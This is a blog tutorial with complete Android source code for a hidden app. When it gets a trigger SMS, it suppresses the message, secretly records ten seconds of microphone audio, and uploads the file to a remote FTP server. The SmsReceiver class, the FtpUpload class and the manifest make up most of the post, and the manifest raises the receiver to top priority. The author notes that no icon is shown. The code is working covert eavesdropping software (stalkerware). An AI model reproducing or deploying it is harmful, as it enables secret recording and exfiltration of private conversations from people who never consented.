Android: SMS Controlled App to Upload 10 Sec Audio Record

OBJECTIVE :-

This is mainly a back-end app. When the user sends a particular SMS to the phone i.e. ‘RECORD_APP_10‘, the app blocks the SMS notification and records a 10 sec audio. This audio is then uploaded to an FTP server.

NUTSHELL :-

  1. AsyncTask is used to perform a task in the background, without manipulating the current thread.
  2. BroadcastReceiver can be used as a event listener.
  3. Telephony.SMS_RECEIVED is used to get notification of received SMS.
  4. Using Handlers to control myRecorder object i.e stop after 10 sec .

[wpi_designer_button text=’Download’ link=’http://github.com/arjunsk/sms-reciever’ style_id=’48’ icon=’github’ target=’_blank’]

LEVEL 2 [ INTERMEDIATE ] :-

  1. Broadcast Receivers simply responds to broadcast messages from other applications or from the system itself.These messages are sometime called events or intents.
    For example, system initiates broadcasts to let other applications know when an SMS is received.
  2. We are creating a custom SMS receiver to check if the SMS received matches with our phrase and perform the actions.
    package com.example.smsreceiver;
    
    import java.io.IOException;
    
    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    import android.media.MediaRecorder;
    import android.os.Bundle;
    import android.os.Environment;
    import android.os.Handler;
    import android.telephony.SmsMessage;
    
    // Here we are creating a custom BroadcastReceiver for receiving the SMS.
    public class SmsReceiver extends BroadcastReceiver {
    	
    	private MediaRecorder myRecorder;  //used for recording
    	private String outputFile = null;
    
    	//Telephony class is the class that deals with network related things.
    	//We are using the SMS_RECEIVED functionality.
        private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
    
        //function that corresponds to the broadcast event.
        @Override
        public void onReceive(Context context, Intent intent) {
        	
        	//checks if the broadcast is send by SMS received.
            if (intent.getAction().equals(SMS_RECEIVED)) {
            	
            	// Bundle will hold the SMS details.
                Bundle bundle = intent.getExtras();
                
                //checks if it is valid
                if (bundle != null) {
                	
                	/*//////////////////////////////////
                	 *------>  The SMS PROCESSING PART
                    *//////////////////////////////////
                	
                	
                	/*
                	 * A PDU is a “protocol data unit”, which is the industry format for an SMS message.
                	 * A large message might be broken into many, which is why it is an array of objects.
                	*/
                    
                	// get sms objects
                	Object[] pdus = (Object[]) bundle.get("pdus");
                    if (pdus.length == 0) {
                        return;
                    }
                    
                    // large message might be broken into many
                    SmsMessage[] messages = new SmsMessage[pdus.length];
                    StringBuilder sb = new StringBuilder();  // we append the broken messages to get the full message.
                     
                    for (int i = 0; i < pdus.length; i++) {
                        messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
                        sb.append(messages[i].getMessageBody());
                    }
                    
                    
                    String sender = messages[0].getOriginatingAddress();  // senders number
                    String message = sb.toString();  // message
                   
                    if(message.equals("RECORD_APP_10")){
                    
    	                //Doesn't broadcast it to  the system SMS APP.
    	                abortBroadcast();
    	
    	               
    	            	/*///////////////////////////
    	            	 *------>  The Recording PART
    	                *///////////////////////////
    	                
    	                
    	                // the destination to store the recording 
    	        		outputFile = Environment.getExternalStorageDirectory().getAbsolutePath() + "/record.3gpp";  
    	
    	        		myRecorder = new MediaRecorder();
    	        		myRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);  // setting the audio source as MIC
    	        		myRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);  //set audio format 3gpp
    	        		myRecorder.setAudioEncoder(MediaRecorder.OutputFormat.AMR_NB); //setting audio encoder
    	        		myRecorder.setOutputFile(outputFile);   // sets the output path.
    	
    	        		// record part  -- START'S THE RECORDING
    	        		try {
    	        			myRecorder.prepare();
    	        			myRecorder.start();
    	        		} catch (IllegalStateException e) {
    	        			e.printStackTrace();
    	        		} catch (IOException e) {
    	        			// prepare() fails
    	        			e.printStackTrace();
    	        		}
    	        		
    	        		
    	        		/*
    	        		 * > Threads are generic processing tasks that can do most things, but one thing they cannot do is update the UI.
    	        		 * > Handlers on the other hand are bound to threads that allow you to communicate with the UI thread 
    	        		 *  Here it is myRecorder object.
    	        		 * */
    	
    	        		//STOPS the record after 10 sec.
    	        		final Handler handler = new Handler();
    	        		handler.postDelayed(new Runnable() {
    	        			@Override
    	        			public void run() {
    	        				//STOP 
    	        				try {
    	        					myRecorder.stop();
    	        					myRecorder.release();
    	        					myRecorder = null;
    	        				} catch (IllegalStateException e) {
    	        					// it is called before start()
    	        					e.printStackTrace();
    	        				} catch (RuntimeException e) {
    	        					// no valid audio/video data has been received
    	        					e.printStackTrace();
    	        				}
    	        			}
    	        		}, 10000); //1 sec --> 1000 milli seconds
    	
    	
    	            	/*////////////////////////
    	            	 *------>  The UPLOAD PART
    	                */////////////////////////
    	        		
    	        		new FtpUpload().execute();
    
                    }         
                }
            }
        }
    }
  3. The FTP uploader.
    package com.example.smsreceiver;
    
    import java.io.File;
    import java.io.FileInputStream;
    
    import org.apache.commons.net.ftp.FTP;
    import org.apache.commons.net.ftp.FTPClient;
    
    import android.os.AsyncTask;
    import android.os.Environment;
    import android.util.Log;
    import android.widget.Toast;
    
    public class FtpUpload extends AsyncTask<Void, Void, Void> {
        
    	protected Void doInBackground(Void... params) {
    		
    		FTPClient con = null;
    
    		try {
    			con = new FTPClient();  // con is the FTPClient
    			con.connect("121.121.121.121"); //set the ip address of the server
    
    			if (con.login("ftp_username", "ftp_password")) {   // checks if login is successful
    				
    				con.enterLocalPassiveMode(); // important!
    				
    				con.setFileType(FTP.BINARY_FILE_TYPE);
    
    				String data = Environment.getExternalStorageDirectory().getAbsolutePath() + "/record.3gpp"; // file to upload
    				
    				FileInputStream in = new FileInputStream(new File(data)); 
    				boolean result = con.storeFile("public_html/docs/record.3gpp", in);  // where to store in the server
    				in.close();
    				
    				if (result) {
    					Log.v("upload result", "succeeded");
    					//Toast.makeText(getApplicationContext(), "upload Sucess",Toast.LENGTH_SHORT).show();
    				}
    				con.logout();  // logout ftp
    				con.disconnect(); //disconnect ftp
    			}
    		} catch (Exception e) {
    			e.printStackTrace();
    		}
    
    		
    		return null;
        }
        
    }
  4.  Giving Priority for SMS Receiver in Android Manifest.
    <?xml version="1.0" encoding="utf-8"?>
    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
        package="com.example.smsreceiver"
        android:versionCode="1"
        android:versionName="1.0" >
    
        <uses-sdk
            android:minSdkVersion="17"
            android:targetSdkVersion="17" />
    
        <uses-permission android:name="android.permission.RECEIVE_SMS" />
        <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
        <uses-permission android:name="android.permission.RECORD_AUDIO" />
        <uses-permission android:name="android.permission.INTERNET"/>
        <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
        <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
        
        
    
        <application
            android:allowBackup="true"
            android:icon="@drawable/ic_launcher"
            android:label="@string/app_name"
            android:theme="@style/AppTheme" >
    
            <!-- If you declare your receiver in xml than system can use your receiver regardless of your application was ever launched. -->
            <receiver
                android:name=".SmsReceiver"
                android:enabled="true" >
                <intent-filter android:priority="2147483647" >
                    <action android:name="android.provider.Telephony.SMS_RECEIVED" />
                </intent-filter>
            </receiver>
               
        
        </application>
    
    </manifest>

     

As this is Back End Application, there won’t be any app icon shown. It will work in the background, when the custom message is received.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s